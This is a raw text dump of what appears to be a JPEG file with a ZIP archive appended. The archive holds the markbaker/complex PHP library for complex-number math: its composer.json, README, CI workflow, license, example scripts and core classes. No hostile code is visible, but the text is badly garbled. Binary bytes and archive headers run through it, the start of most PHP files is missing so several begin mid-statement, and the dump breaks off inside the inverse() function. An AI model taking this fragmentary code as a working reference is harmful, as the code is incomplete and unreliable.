JFIFxxC      C  " }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3RbrPKZF8complex/composer.jsonnu[{ "name": "markbaker/complex", "type": "library", "description": "PHP Class for working with complex numbers", "keywords": ["complex", "mathematics"], "homepage": "https://github.com/MarkBaker/PHPComplex", "license": "MIT", "authors": [ { "name": "Mark Baker", "email": "mark@lange.demon.co.uk" } ], "config": { "sort-packages": true, "allow-plugins": { "dealerdirect/phpcodesniffer-composer-installer": true, "markbaker/ukraine": true } }, "require": { "php": "^7.2 || ^8.0" }, "require-dev": { "phpunit/phpunit": "^7.0 || ^8.0 || ^9.0", "squizlabs/php_codesniffer": "^3.7", "phpcompatibility/php-compatibility": "^9.3", "dealerdirect/phpcodesniffer-composer-installer": "dev-master" }, "autoload": { "psr-4": { "Complex\\": "classes/src/" } }, "scripts": { "style": "phpcs --report-width=200 --standard=PSR2 --report=summary,full classes/src/ unitTests/classes/src -n", "versions": "phpcs --report-width=200 --standard=PHPCompatibility --report=summary,full classes/src/ --runtime-set testVersion 7.2- -n" }, "minimum-stability": "dev" } PKZh'complex/README.mdnu[PHPComplex ========== --- PHP Class Library for working with Complex numbers [![Build Status](https://github.com/MarkBaker/PHPComplex/workflows/main/badge.svg)](https://github.com/MarkBaker/PHPComplex/actions) [![Total Downloads](https://img.shields.io/packagist/dt/markbaker/complex)](https://packagist.org/packages/markbaker/complex) [![Latest Stable Version](https://img.shields.io/github/v/release/MarkBaker/PHPComplex)](https://packagist.org/packages/markbaker/complex) [![License](https://img.shields.io/github/license/MarkBaker/PHPComplex)](https://packagist.org/packages/markbaker/complex) [![Complex Numbers](https://imgs.xkcd.com/comics/complex_numbers_2x.png)](https://xkcd.com/2028/) --- The library currently provides the following operations: - addition - subtraction - multiplication - division - division by - division into together with functions for - theta (polar theta angle) - rho (polar distance/radius) - conjugate * negative - inverse (1 / complex) - cos (cosine) - acos (inverse cosine) - cosh (hyperbolic cosine) - acosh (inverse hyperbolic cosine) - sin (sine) - asin (inverse sine) - sinh (hyperbolic sine) - asinh (inverse hyperbolic sine) - sec (secant) - asec (inverse secant) - sech (hyperbolic secant) - asech (inverse hyperbolic secant) - csc (cosecant) - acsc (inverse cosecant) - csch (hyperbolic secant) - acsch (inverse hyperbolic secant) - tan (tangent) - atan (inverse tangent) - tanh (hyperbolic tangent) - atanh (inverse hyperbolic tangent) - cot (cotangent) - acot (inverse cotangent) - coth (hyperbolic cotangent) - acoth (inverse hyperbolic cotangent) - sqrt (square root) - exp (exponential) - ln (natural log) - log10 (base-10 log) - log2 (base-2 log) - pow (raised to the power of a real number) --- # Installation ```shell composer require markbaker/complex:^1.0 ``` # Important BC Note If you've previously been using procedural calls to functions and operations using this library, then from version 3.0 you should use [MarkBaker/PHPComplexFunctions](https://github.com/MarkBaker/PHPComplexFunctions) instead (available on packagist as [markbaker/complex-functions](https://packagist.org/packages/markbaker/complex-functions)). You'll need to replace `markbaker/complex`in your `composer.json` file with the new library, but otherwise there should be no difference in the namespacing, or in the way that you have called the Complex functions in the past, so no actual code changes are required. ```shell composer require markbaker/complex-functions:^3.0 ``` You should not reference this library (`markbaker/complex`) in your `composer.json`, composer wil take care of that for you. # Usage To create a new complex object, you can provide either the real, imaginary and suffix parts as individual values, or as an array of values passed passed to the constructor; or a string representing the value. e.g ```php $real = 1.23; $imaginary = -4.56; $suffix = 'i'; $complexObject = new Complex\Complex($real, $imaginary, $suffix); ``` or as an array ```php $real = 1.23; $imaginary = -4.56; $suffix = 'i'; $arguments = [$real, $imaginary, $suffix]; $complexObject = new Complex\Complex($arguments); ``` or as a string ```php $complexString = '1.23-4.56i'; $complexObject = new Complex\Complex($complexString); ``` Complex objects are immutable: whenever you call a method or pass a complex value to a function that returns a complex value, a new Complex object will be returned, and the original will remain unchanged. This also allows you to chain multiple methods as you would for a fluent interface (as long as they are methods that will return a Complex result). ## Performing Mathematical Operations To perform mathematical operations with Complex values, you can call the appropriate method against a complex value, passing other values as arguments ```php $complexString1 = '1.23-4.56i'; $complexString2 = '2.34+5.67i'; $complexObject = new Complex\Complex($complexString1); echo $complexObject->add($complexString2); ``` or use the static Operation methods ```php $complexString1 = '1.23-4.56i'; $complexString2 = '2.34+5.67i'; echo Complex\Operations::add($complexString1, $complexString2); ``` If you want to perform the same operation against multiple values (e.g. to add three or more complex numbers), then you can pass multiple arguments to any of the operations. You can pass these arguments as Complex objects, or as an array, or string that will parse to a complex object. ## Using functions When calling any of the available functions for a complex value, you can either call the relevant method for the Complex object ```php $complexString = '1.23-4.56i'; $complexObject = new Complex\Complex($complexString); echo $complexObject->sinh(); ``` or use the static Functions methods ```php $complexString = '1.23-4.56i'; echo Complex\Functions::sinh($complexString); ``` As with operations, you can pass these arguments as Complex objects, or as an array or string that will parse to a complex object. In the case of the `pow()` function (the only implemented function that requires an additional argument) you need to pass both arguments when calling the function ```php $complexString = '1.23-4.56i'; $complexObject = new Complex\Complex($complexString); echo Complex\Functions::pow($complexObject, 2); ``` or pass the additional argument when calling the method ```php $complexString = '1.23-4.56i'; $complexObject = new Complex\Complex($complexString); echo $complexObject->pow(2); ``` PKZaVK"complex/.github/workflows/main.ymlnu[name: main on: [ push, pull_request ] jobs: test: runs-on: ubuntu-latest strategy: matrix: experimental: - false php-version: - '7.2' - '7.3' - '7.4' - '8.0' - '8.1' - '8.2' include: - php-version: 'nightly' experimental: true name: PHP ${{ matrix.php-version }} steps: - name: Checkout uses: actions/checkout@v3 - name: Setup PHP, with composer and extensions uses: shivammathur/setup-php@v2 with: php-version: ${{ matrix.php-version }} coverage: none - name: Get composer cache directory id: composer-cache run: echo "::set-output name=dir::$(composer config cache-files-dir)" - name: Cache composer dependencies uses: actions/cache@v3 with: path: ${{ steps.composer-cache.outputs.dir }} key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }} restore-keys: ${{ runner.os }}-composer- - name: Delete composer lock file id: composer-lock if: ${{ matrix.php-version == '8.0' || matrix.php-version == '8.1' || matrix.php-version == '8.2' || matrix.php-version == 'nightly' }} run: | rm composer.lock echo "::set-output name=flags::--ignore-platform-reqs" - name: Install dependencies run: composer update --no-progress --prefer-dist --optimize-autoloader ${{ steps.composer-lock.outputs.flags }} - name: Setup problem matchers for PHP run: echo "::add-matcher::${{ runner.tool_cache }}/php.json" - name: Setup problem matchers for PHPUnit run: echo "::add-matcher::${{ runner.tool_cache }}/phpunit.json" - name: "Run PHPUnit tests (Experimental: ${{ matrix.experimental }})" env: FAILURE_ACTION: "${{ matrix.experimental == true }}" run: vendor/bin/phpunit --verbose || $FAILURE_ACTION phpcs: runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v3 - name: Setup PHP, with composer and extensions uses: shivammathur/setup-php@v2 with: php-version: 7.4 coverage: none tools: cs2pr - name: Get composer cache directory id: composer-cache run: echo "::set-output name=dir::$(composer config cache-files-dir)" - name: Cache composer dependencies uses: actions/cache@v3 with: path: ${{ steps.composer-cache.outputs.dir }} key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }} restore-keys: ${{ runner.os }}-composer- - name: Install dependencies run: composer install --no-progress --prefer-dist --optimize-autoloader - name: Code style with PHP_CodeSniffer run: ./vendor/bin/phpcs -q --report=checkstyle classes/src/ | cs2pr versions: runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v3 - name: Setup PHP, with composer and extensions uses: shivammathur/setup-php@v2 with: php-version: 7.4 coverage: none tools: cs2pr - name: Get composer cache directory id: composer-cache run: echo "::set-output name=dir::$(composer config cache-files-dir)" - name: Cache composer dependencies uses: actions/cache@v3 with: path: ${{ steps.composer-cache.outputs.dir }} key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }} restore-keys: ${{ runner.os }}-composer- - name: Install dependencies run: composer install --no-progress --prefer-dist --optimize-autoloader - name: Code Version Compatibility check with PHP_CodeSniffer run: ./vendor/bin/phpcs -q --report-width=200 --report=summary,full classes/src/ --standard=PHPCompatibility --runtime-set testVersion 7.2- coverage: runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v3 - name: Setup PHP, with composer and extensions uses: shivammathur/setup-php@v2 with: php-version: 7.4 coverage: pcov - name: Get composer cache directory id: composer-cache run: echo "::set-output name=dir::$(composer config cache-files-dir)" - name: Cache composer dependencies uses: actions/cache@v3 with: path: ${{ steps.composer-cache.outputs.dir }} key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }} restore-keys: ${{ runner.os }}-composer- - name: Install dependencies run: composer install --no-progress --prefer-dist --optimize-autoloader - name: Test Coverage run: ./vendor/bin/phpunit --verbose --coverage-text PKZ UUcomplex/license.mdnu[The MIT License (MIT) ===================== Copyright © `2017` `Mark Baker` Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.PKZ5bYY#complex/examples/testOperations.phpnu[ ', $result, PHP_EOL; echo PHP_EOL; echo 'Subtraction', PHP_EOL; $result = Operations::subtract(...$values); echo '=> ', $result, PHP_EOL; echo PHP_EOL; echo 'Multiplication', PHP_EOL; $result = Operations::multiply(...$values); echo '=> ', $result, PHP_EOL; PKZF"complex/examples/testFunctions.phpnu[getMessage(), PHP_EOL; } } echo PHP_EOL; } } PKZ!O< < complex/examples/complexTest.phpnu[add(456); echo $x, PHP_EOL; $x = new Complex(123.456); $x->add(789.012); echo $x, PHP_EOL; $x = new Complex(123.456, 78.90); $x->add(new Complex(-987.654, -32.1)); echo $x, PHP_EOL; $x = new Complex(123.456, 78.90); $x->add(-987.654); echo $x, PHP_EOL; $x = new Complex(-987.654, -32.1); $x->add(new Complex(0, 1)); echo $x, PHP_EOL; $x = new Complex(-987.654, -32.1); $x->add(new Complex(0, -1)); echo $x, PHP_EOL; echo PHP_EOL, 'Subtract', PHP_EOL; $x = new Complex(123); $x->subtract(456); echo $x, PHP_EOL; $x = new Complex(123.456); $x->subtract(789.012); echo $x, PHP_EOL; $x = new Complex(123.456, 78.90); $x->subtract(new Complex(-987.654, -32.1)); echo $x, PHP_EOL; $x = new Complex(123.456, 78.90); $x->subtract(-987.654); echo $x, PHP_EOL; $x = new Complex(-987.654, -32.1); $x->subtract(new Complex(0, 1)); echo $x, PHP_EOL; $x = new Complex(-987.654, -32.1); $x->subtract(new Complex(0, -1)); echo $x, PHP_EOL; echo PHP_EOL, 'Multiply', PHP_EOL; $x = new Complex(123); $x->multiply(456); echo $x, PHP_EOL; $x = new Complex(123.456); $x->multiply(789.012); echo $x, PHP_EOL; $x = new Complex(123.456, 78.90); $x->multiply(new Complex(-987.654, -32.1)); echo $x, PHP_EOL; $x = new Complex(123.456, 78.90); $x->multiply(-987.654); echo $x, PHP_EOL; $x = new Complex(-987.654, -32.1); $x->multiply(new Complex(0, 1)); echo $x, PHP_EOL; $x = new Complex(-987.654, -32.1); $x->multiply(new Complex(0, -1)); echo $x, PHP_EOL; echo PHP_EOL, 'Divide By', PHP_EOL; $x = new Complex(123); $x->divideBy(456); echo $x, PHP_EOL; $x = new Complex(123.456); $x->divideBy(789.012); echo $x, PHP_EOL; $x = new Complex(123.456, 78.90); $x->divideBy(new Complex(-987.654, -32.1)); echo $x, PHP_EOL; $x = new Complex(123.456, 78.90); $x->divideBy(-987.654); echo $x, PHP_EOL; $x = new Complex(-987.654, -32.1); $x->divideBy(new Complex(0, 1)); echo $x, PHP_EOL; $x = new Complex(-987.654, -32.1); $x->divideBy(new Complex(0, -1)); echo $x, PHP_EOL; echo PHP_EOL, 'Divide Into', PHP_EOL; $x = new Complex(123); $x->divideInto(456); echo $x, PHP_EOL; $x = new Complex(123.456); $x->divideInto(789.012); echo $x, PHP_EOL; $x = new Complex(123.456, 78.90); $x->divideInto(new Complex(-987.654, -32.1)); echo $x, PHP_EOL; $x = new Complex(123.456, 78.90); $x->divideInto(-987.654); echo $x, PHP_EOL; $x = new Complex(-987.654, -32.1); $x->divideInto(new Complex(0, 1)); echo $x, PHP_EOL; $x = new Complex(-987.654, -32.1); $x->divideInto(new Complex(0, -1)); echo $x, PHP_EOL; PKZBZ,,complex/classes/src/Complex.phpnu[realPart = (float) $realPart; $this->imaginaryPart = (float) $imaginaryPart; $this->suffix = strtolower($suffix ?? ''); } /** * Gets the real part of this complex number * * @return Float */ public function getReal(): float { return $this->realPart; } /** * Gets the imaginary part of this complex number * * @return Float */ public function getImaginary(): float { return $this->imaginaryPart; } /** * Gets the suffix of this complex number * * @return String */ public function getSuffix(): string { return $this->suffix; } /** * Returns true if this is a real value, false if a complex value * * @return Bool */ public function isReal(): bool { return $this->imaginaryPart == 0.0; } /** * Returns true if this is a complex value, false if a real value * * @return Bool */ public function isComplex(): bool { return !$this->isReal(); } public function format(): string { $str = ""; if ($this->imaginaryPart != 0.0) { if (\abs($this->imaginaryPart) != 1.0) { $str .= $this->imaginaryPart . $this->suffix; } else { $str .= (($this->imaginaryPart < 0.0) ? '-' : '') . $this->suffix; } } if ($this->realPart != 0.0) { if (($str) && ($this->imaginaryPart > 0.0)) { $str = "+" . $str; } $str = $this->realPart . $str; } if (!$str) { $str = "0.0"; } return $str; } public function __toString(): string { return $this->format(); } /** * Validates whether the argument is a valid complex number, converting scalar or array values if possible * * @param mixed $complex The value to validate * @return Complex * @throws Exception If the argument isn't a Complex number or cannot be converted to one */ public static function validateComplexArgument($complex): Complex { if (is_scalar($complex) || is_array($complex)) { $complex = new Complex($complex); } elseif (!is_object($complex) || !($complex instanceof Complex)) { throw new Exception('Value is not a valid complex number'); } return $complex; } /** * Returns the reverse of this complex number * * @return Complex */ public function reverse(): Complex { return new Complex( $this->imaginaryPart, $this->realPart, ($this->realPart == 0.0) ? null : $this->suffix ); } public function invertImaginary(): Complex { return new Complex( $this->realPart, $this->imaginaryPart * -1, ($this->imaginaryPart == 0.0) ? null : $this->suffix ); } public function invertReal(): Complex { return new Complex( $this->realPart * -1, $this->imaginaryPart, ($this->imaginaryPart == 0.0) ? null : $this->suffix ); } protected static $functions = [ 'abs', 'acos', 'acosh', 'acot', 'acoth', 'acsc', 'acsch', 'argument', 'asec', 'asech', 'asin', 'asinh', 'atan', 'atanh', 'conjugate', 'cos', 'cosh', 'cot', 'coth', 'csc', 'csch', 'exp', 'inverse', 'ln', 'log2', 'log10', 'negative', 'pow', 'rho', 'sec', 'sech', 'sin', 'sinh', 'sqrt', 'tan', 'tanh', 'theta', ]; protected static $operations = [ 'add', 'subtract', 'multiply', 'divideby', 'divideinto', ]; /** * Returns the result of the function call or operation * * @return Complex|float * @throws Exception|\InvalidArgumentException */ public function __call($functionName, $arguments) { $functionName = strtolower(str_replace('_', '', $functionName)); // Test for function calls if (in_array($functionName, self::$functions, true)) { return Functions::$functionName($this, ...$arguments); } // Test for operation calls if (in_array($functionName, self::$operations, true)) { return Operations::$functionName($this, ...$arguments); } throw new Exception('Complex Function or Operation does not exist'); } } PKZGx!complex/classes/src/Exception.phpnu[isComplex() && $complex->isComplex() && $result->getSuffix() !== $complex->getSuffix()) { throw new Exception('Suffix Mismatch'); } $real = $result->getReal() + $complex->getReal(); $imaginary = $result->getImaginary() + $complex->getImaginary(); $result = new Complex( $real, $imaginary, ($imaginary == 0.0) ? null : max($result->getSuffix(), $complex->getSuffix()) ); } return $result; } /** * Divides two or more complex numbers * * @param array of string|integer|float|Complex $complexValues The numbers to divide * @return Complex */ public static function divideby(...$complexValues): Complex { if (count($complexValues) < 2) { throw new \Exception('This function requires at least 2 arguments'); } $base = array_shift($complexValues); $result = clone Complex::validateComplexArgument($base); foreach ($complexValues as $complex) { $complex = Complex::validateComplexArgument($complex); if ($result->isComplex() && $complex->isComplex() && $result->getSuffix() !== $complex->getSuffix()) { throw new Exception('Suffix Mismatch'); } if ($complex->getReal() == 0.0 && $complex->getImaginary() == 0.0) { throw new InvalidArgumentException('Division by zero'); } $delta1 = ($result->getReal() * $complex->getReal()) + ($result->getImaginary() * $complex->getImaginary()); $delta2 = ($result->getImaginary() * $complex->getReal()) - ($result->getReal() * $complex->getImaginary()); $delta3 = ($complex->getReal() * $complex->getReal()) + ($complex->getImaginary() * $complex->getImaginary()); $real = $delta1 / $delta3; $imaginary = $delta2 / $delta3; $result = new Complex( $real, $imaginary, ($imaginary == 0.0) ? null : max($result->getSuffix(), $complex->getSuffix()) ); } return $result; } /** * Divides two or more complex numbers * * @param array of string|integer|float|Complex $complexValues The numbers to divide * @return Complex */ public static function divideinto(...$complexValues): Complex { if (count($complexValues) < 2) { throw new \Exception('This function requires at least 2 arguments'); } $base = array_shift($complexValues); $result = clone Complex::validateComplexArgument($base); foreach ($complexValues as $complex) { $complex = Complex::validateComplexArgument($complex); if ($result->isComplex() && $complex->isComplex() && $result->getSuffix() !== $complex->getSuffix()) { throw new Exception('Suffix Mismatch'); } if ($result->getReal() == 0.0 && $result->getImaginary() == 0.0) { throw new InvalidArgumentException('Division by zero'); } $delta1 = ($complex->getReal() * $result->getReal()) + ($complex->getImaginary() * $result->getImaginary()); $delta2 = ($complex->getImaginary() * $result->getReal()) - ($complex->getReal() * $result->getImaginary()); $delta3 = ($result->getReal() * $result->getReal()) + ($result->getImaginary() * $result->getImaginary()); $real = $delta1 / $delta3; $imaginary = $delta2 / $delta3; $result = new Complex( $real, $imaginary, ($imaginary == 0.0) ? null : max($result->getSuffix(), $complex->getSuffix()) ); } return $result; } /** * Multiplies two or more complex numbers * * @param array of string|integer|float|Complex $complexValues The numbers to multiply * @return Complex */ public static function multiply(...$complexValues): Complex { if (count($complexValues) < 2) { throw new \Exception('This function requires at least 2 arguments'); } $base = array_shift($complexValues); $result = clone Complex::validateComplexArgument($base); foreach ($complexValues as $complex) { $complex = Complex::validateComplexArgument($complex); if ($result->isComplex() && $complex->isComplex() && $result->getSuffix() !== $complex->getSuffix()) { throw new Exception('Suffix Mismatch'); } $real = ($result->getReal() * $complex->getReal()) - ($result->getImaginary() * $complex->getImaginary()); $imaginary = ($result->getReal() * $complex->getImaginary()) + ($result->getImaginary() * $complex->getReal()); $result = new Complex( $real, $imaginary, ($imaginary == 0.0) ? null : max($result->getSuffix(), $complex->getSuffix()) ); } return $result; } /** * Subtracts two or more complex numbers * * @param array of string|integer|float|Complex $complexValues The numbers to subtract * @return Complex */ public static function subtract(...$complexValues): Complex { if (count($complexValues) < 2) { throw new \Exception('This function requires at least 2 arguments'); } $base = array_shift($complexValues); $result = clone Complex::validateComplexArgument($base); foreach ($complexValues as $complex) { $complex = Complex::validateComplexArgument($complex); if ($result->isComplex() && $complex->isComplex() && $result->getSuffix() !== $complex->getSuffix()) { throw new Exception('Suffix Mismatch'); } $real = $result->getReal() - $complex->getReal(); $imaginary = $result->getImaginary() - $complex->getImaginary(); $result = new Complex( $real, $imaginary, ($imaginary == 0.0) ? null : max($result->getSuffix(), $complex->getSuffix()) ); } return $result; } } PKZTgAwAw!complex/classes/src/Functions.phpnu[getReal() - $invsqrt->getImaginary(), $complex->getImaginary() + $invsqrt->getReal() ); $log = self::ln($adjust); return new Complex( $log->getImaginary(), -1 * $log->getReal() ); } /** * Returns the inverse hyperbolic cosine of a complex number. * * Formula from Wolfram Alpha: * cosh^(-1)z = ln(z + sqrt(z + 1) sqrt(z - 1)). * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse hyperbolic cosine of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function acosh($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->isReal() && ($complex->getReal() > 1)) { return new Complex(\acosh($complex->getReal())); } $acosh = self::ln( Operations::add( $complex, Operations::multiply( self::sqrt(Operations::add($complex, 1)), self::sqrt(Operations::subtract($complex, 1)) ) ) ); return $acosh; } /** * Returns the inverse cotangent of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse cotangent of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function acot($complex): Complex { $complex = Complex::validateComplexArgument($complex); return self::atan(self::inverse($complex)); } /** * Returns the inverse hyperbolic cotangent of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse hyperbolic cotangent of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function acoth($complex): Complex { $complex = Complex::validateComplexArgument($complex); return self::atanh(self::inverse($complex)); } /** * Returns the inverse cosecant of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse cosecant of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function acsc($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->getReal() == 0.0 && $complex->getImaginary() == 0.0) { return new Complex(INF); } return self::asin(self::inverse($complex)); } /** * Returns the inverse hyperbolic cosecant of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse hyperbolic cosecant of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function acsch($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->getReal() == 0.0 && $complex->getImaginary() == 0.0) { return new Complex(INF); } return self::asinh(self::inverse($complex)); } /** * Returns the argument of a complex number. * Also known as the theta of the complex number, i.e. the angle in radians * from the real axis to the representation of the number in polar coordinates. * * This function is a synonym for theta() * * @param Complex|mixed $complex Complex number or a numeric value. * @return float The argument (or theta) value of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * * @see theta */ public static function argument($complex): float { return self::theta($complex); } /** * Returns the inverse secant of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse secant of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function asec($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->getReal() == 0.0 && $complex->getImaginary() == 0.0) { return new Complex(INF); } return self::acos(self::inverse($complex)); } /** * Returns the inverse hyperbolic secant of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse hyperbolic secant of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function asech($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->getReal() == 0.0 && $complex->getImaginary() == 0.0) { return new Complex(INF); } return self::acosh(self::inverse($complex)); } /** * Returns the inverse sine of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse sine of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function asin($complex): Complex { $complex = Complex::validateComplexArgument($complex); $invsqrt = self::sqrt(Operations::subtract(1, Operations::multiply($complex, $complex))); $adjust = new Complex( $invsqrt->getReal() - $complex->getImaginary(), $invsqrt->getImaginary() + $complex->getReal() ); $log = self::ln($adjust); return new Complex( $log->getImaginary(), -1 * $log->getReal() ); } /** * Returns the inverse hyperbolic sine of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse hyperbolic sine of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function asinh($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->isReal() && ($complex->getReal() > 1)) { return new Complex(\asinh($complex->getReal())); } $asinh = clone $complex; $asinh = $asinh->reverse() ->invertReal(); $asinh = self::asin($asinh); return $asinh->reverse() ->invertImaginary(); } /** * Returns the inverse tangent of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse tangent of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function atan($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->isReal()) { return new Complex(\atan($complex->getReal())); } $t1Value = new Complex(-1 * $complex->getImaginary(), $complex->getReal()); $uValue = new Complex(1, 0); $d1Value = clone $uValue; $d1Value = Operations::subtract($d1Value, $t1Value); $d2Value = Operations::add($t1Value, $uValue); $uResult = $d1Value->divideBy($d2Value); $uResult = self::ln($uResult); $realMultiplier = -0.5; $imaginaryMultiplier = 0.5; if (abs($uResult->getImaginary()) === M_PI) { // If we have an imaginary value at the max or min (PI or -PI), then we need to ensure // that the primary is assigned for the correct quadrant. $realMultiplier = ( ($uResult->getImaginary() === M_PI && $uResult->getReal() > 0.0) || ($uResult->getImaginary() === -M_PI && $uResult->getReal() < 0.0) ) ? 0.5 : -0.5; } return new Complex( $uResult->getImaginary() * $realMultiplier, $uResult->getReal() * $imaginaryMultiplier, $complex->getSuffix() ); } /** * Returns the inverse hyperbolic tangent of a complex number. * * Formula from Wolfram Alpha: * tanh^(-1)z = 1/2 [ln(1 + z) - ln(1 - z)]. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse hyperbolic tangent of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function atanh($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->isReal()) { $real = $complex->getReal(); if ($real >= -1.0 && $real <= 1.0) { return new Complex(\atanh($real)); } else { return new Complex(\atanh(1 / $real), (($real < 0.0) ? M_PI_2 : -1 * M_PI_2)); } } $atanh = Operations::multiply( Operations::subtract( self::ln(Operations::add(1.0, $complex)), self::ln(Operations::subtract(1.0, $complex)) ), 0.5 ); return $atanh; } /** * Returns the complex conjugate of a complex number * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The conjugate of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function conjugate($complex): Complex { $complex = Complex::validateComplexArgument($complex); return new Complex( $complex->getReal(), -1 * $complex->getImaginary(), $complex->getSuffix() ); } /** * Returns the cosine of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The cosine of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function cos($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->isReal()) { return new Complex(\cos($complex->getReal())); } return self::conjugate( new Complex( \cos($complex->getReal()) * \cosh($complex->getImaginary()), \sin($complex->getReal()) * \sinh($complex->getImaginary()), $complex->getSuffix() ) ); } /** * Returns the hyperbolic cosine of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The hyperbolic cosine of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function cosh($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->isReal()) { return new Complex(\cosh($complex->getReal())); } return new Complex( \cosh($complex->getReal()) * \cos($complex->getImaginary()), \sinh($complex->getReal()) * \sin($complex->getImaginary()), $complex->getSuffix() ); } /** * Returns the cotangent of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The cotangent of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function cot($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->getReal() == 0.0 && $complex->getImaginary() == 0.0) { return new Complex(INF); } return self::inverse(self::tan($complex)); } /** * Returns the hyperbolic cotangent of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The hyperbolic cotangent of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function coth($complex): Complex { $complex = Complex::validateComplexArgument($complex); return self::inverse(self::tanh($complex)); } /** * Returns the cosecant of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The cosecant of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function csc($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->getReal() == 0.0 && $complex->getImaginary() == 0.0) { return new Complex(INF); } return self::inverse(self::sin($complex)); } /** * Returns the hyperbolic cosecant of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The hyperbolic cosecant of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function csch($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->getReal() == 0.0 && $complex->getImaginary() == 0.0) { return new Complex(INF); } return self::inverse(self::sinh($complex)); } /** * Returns the exponential of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The exponential of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function exp($complex): Complex { $complex = Complex::validateComplexArgument($complex); if (($complex->getReal() == 0.0) && (\abs($complex->getImaginary()) == M_PI)) { return new Complex(-1.0, 0.0); } $rho = \exp($complex->getReal()); return new Complex( $rho * \cos($complex->getImaginary()), $rho * \sin($complex->getImaginary()), $complex->getSuffix() ); } /** * Returns the inverse of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws InvalidArgumentException If function would result in a division by zero */ public static function inverse($complex): Complex { $complex = clone Complex::validateComplexArgument($complex); if ($complex->getReal() == 0.0 && $complex->getImaginary() == 